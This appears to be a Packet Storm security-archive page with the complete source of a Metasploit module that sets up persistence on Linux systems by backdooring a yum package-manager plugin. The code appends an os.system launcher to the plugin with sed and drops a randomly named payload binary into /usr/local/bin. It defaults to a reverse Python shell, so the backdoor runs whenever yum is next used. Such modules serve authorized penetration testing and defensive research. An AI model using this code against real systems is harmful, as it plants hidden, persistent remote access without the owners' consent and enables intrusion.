Yum Package Manager Persistence

This Metasploit module will run a payload when the package manager is used. No handler is run automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.

MD5 | 9c63920137781f96308e8dc6ebfca75a

Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yum Package Manager Persistence',
      'Description'    => %q(
        This module will run a payload when the package manager is used. No
        handler is ran automatically so you must configure an appropriate
        exploit/multi/handler to connect. Module modifies a yum plugin to
        launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
        will show what plugins are currently enabled on the system.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => ['Aaron Ringo'],
      'Platform'       => ['linux', 'unix'],
      'Arch'           =>
        [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultOptions' => {
                            'WfsDelay' => 0, 'DisablePayloadHandler' => 'true',
                            'Payload'  => 'cmd/unix/reverse_python'
                          },
      'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
      'References'     => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
        OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
        OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
      ])

    register_advanced_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
        OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
      ])
  end

  def exploit
    # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
    plugin = datastore['PLUGIN']
    full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
    print_status(full_plugin_path)
    unless writable? full_plugin_path
      fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
    end

    # /etc/yum.conf must contain plugins=1 for plugins to run at all
    plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
    unless plugins_enabled.include? 'plugins=1'
      fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
    end
    print_good('Plugins are enabled!')

    # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
    plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
    plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
    unless plugin_enabled.include? 'enabled=1'
      print_bad("#{plugin_conf} plugin is not configured to run")
      fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
    end

    # plugins are made in python and generate pycs on successful execution
    unless exist? "#{full_plugin_path}c"
      print_warning('Either Yum has never been executed, or the selected plugin has not run')
    end

    # check for write in backdoor path and set/generate backdoor name
    backdoor_path = datastore['WritableDir']
    unless writable? backdoor_path
      fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
    end
    backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
    backdoor_path << backdoor_name

    # check that the plugin contains an import os, to backdoor
    import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
    unless import_os_check.include? 'import os'
      fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
    end

    # check for sed binary and then append launcher to plugin underneath
    print_status('Attempting to modify plugin')
    launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
    sed_path = cmd_exec "command -v sed"
    unless sed_path.include?('sed')
      fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
    end
    sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
    cmd_exec sed_line

    # actually write users payload to be executed then check for write
    if payload.arch.first == 'cmd'
      write_file(backdoor_path, payload.encoded)
    else
      write_file(backdoor_path, generate_payload_exe)
    end
    unless exist? backdoor_path
      fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
    end

    # change perms to reflect bins in /usr/local/bin/, give good feels
    chmod(backdoor_path, 0755)
    print_status("Backdoor uploaded to #{backdoor_path}")
    print_status('Backdoor will run on next Yum update')
  end
end

Source: packetstormsecurity.com